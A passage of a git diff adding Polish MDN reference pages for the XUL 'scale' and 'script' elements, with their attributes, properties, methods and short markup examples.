href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/scale/index.html b/files/pl/mozilla/tech/xul/scale/index.html
new file mode 100644
index 0000000000..a620cb7e69
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/scale/index.html
@@ -0,0 +1,223 @@
+---
+title: scale
+slug: Mozilla/Tech/XUL/scale
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/scale
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element scale pozwala użytkownikowi na wybranie wartości z zakresu. Pasek wyświetlany w pionie lub poziomie pozwala użytkownikowi na wybranie wartości poprzez przeciągnięcie uchwytu na pasku. </p><p>Zastosuj atrybut orient do określenia orientacji na skali. Domyślną wartości jest '<code>horizontal</code>', która wyświetla poziomą skalę. Najmniejszą wartości są po lewej stronie, a najwyższe wartości są po prawej. Ustaw atrybut orientacji na '<code>vertical</code>', aby zastosować skalę pionową.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-increment">increment</a>, <a href="#a-max">max</a>, <a href="#a-min">min</a>, <a href="#a-pageincrement">pageincrement</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-disabled">disabled</a>, <a href="#p-max">max</a>, <a href="#p-min">min</a>, <a href="#p-increment">increment</a>, <a href="#p-pageIncrement">pageIncrement</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>, </dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-decrease">decrease</a>, <a href="#m-decreasePage">decreasePage</a>, <a href="#m-increase">increase</a>, <a href="#m-increasePage">increasePage</a>,
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Pozioma skala:
+</p>
+<pre>&lt;scale min="1" max="10"/&gt;
+</pre>
+<p><img alt="Grafika:Controlguide-scale.png">
+</p><p>Pionowa skala:
+</p>
+<pre>&lt;scale min="1" max="10" orient="vertical"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-increment">
+
+<dl>
+ <dt>
+ <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>&lt;magic name="\"PAGENAME\"/"&gt; (dla pasków przewijania) lub <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> (dla pudełek liczbowych)&lt;/magic&gt; zmienionego, gdy strzałka na pasku przewijania jest naciśnięta. Domyślnie posiada wartość równą 1.</dd>
+</dl>
+</div>
+<div id="a-min">
+
+<dl><dt> <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wartość minimalna, która może być ustawiona na skali. Domyślną wartością jest 0. </dd></dl>
+
+
+</div>
+<div id="a-max">
+
+<dl><dt> <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Maksymalna wartość, która może być na skali. Domyślną wartość jest ustawiona na 100. </dd></dl>
+
+
+</div>
+<div id="a-pageincrement">
+
+<dl><dt> <code id="a-pageincrement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageincrement">pageincrement</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code> zmienionego, gdy powierzchnia paska przewijania jest kliknięta. Powierzchnia jest obszarem, w którym przytrzymany kursorem pasek przewijania jest przesuwany. Domyślną wartością jest 10.
+</dd></dl>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-increment">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/increment">increment</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>.</dd>
+</dl></div>
+<div id="p-min">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/min">min</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>min</code>. </dd></dl>
+
+</div>
+<div id="p-max">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/max">max</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>max</code>. </dd></dl>
+
+</div>
+<div id="p-pageIncrement">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/pageIncrement">pageIncrement</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>pageincrement</code>. </dd></dl>
+
+</div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<dl><dt> <span id="m-decrease"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/decrease">decrease()</a></code></span></dt>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość zmniejszająca się skali poprzez przyrost.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<dl><dt> <span id="m-decreasePage"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/decreasePage">decreasePage()</a></code></span></dt>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość zmniejszająca się skali poprzez przyrost strony. </dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-increase"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/increase">increase()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wartość wzrastająca na <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> poprzez przyrost.</dd>
+</dl>
+<dl><dt> <span id="m-increasePage"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/increasePage">increasePage()</a></code></span></dt>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wartość wzrastająca na skali poprzez przyrost strony.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIDOMXULControlElement">nsIDOMXULControlElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/script/index.html b/files/pl/mozilla/tech/xul/script/index.html
new file mode 100644
index 0000000000..3a9f8ba183
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/script/index.html
@@ -0,0 +1,126 @@
+---
+title: script
+slug: Mozilla/Tech/XUL/script
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/script
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Bardzo podobny do elementu <code>script</code> z języka HTML. Stosujemy go do deklaracji skryptu, jaki chcemy zastosować w oknie XUL. Skrypt powinien zazwyczaj być deklarowany w oddzielnym pliku i być pobieranym poprzez odnośnik atrybutem <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>, lecz możemy także umieścić skrypt wewnątrz okna XUL, wystarczy tylko zastosować otwarty i zamknięty znacznik <code>script</code>. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Dodawanie_funkcji_obs%c5%82ugi_zdarze%c5%84">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-script.src">src</a>, <a href="#a-script.type">type</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre> &lt;script src="test.js"/&gt;
+ &lt;script src="http://example.com/js/test.js"/&gt;
+ &lt;script&gt;
+ function foo(){
+ // kod
+ }
+ &lt;/script&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-script.src">
+
+<dl><dt> <a href="pl/XUL/Atrybut/script.src">src</a>
+</dt><dd> Typ: <i>URL</i>
+</dd><dd> Adres URL skryptu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-script.type">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/script.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ Typ zawartości językowej</i>
+ </dd>
+ <dd>
+ Język skryptu. Zazwyczaj, będziemy ustawiać go na <code>application/x-javascript</code>.</dd>
+</dl>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , 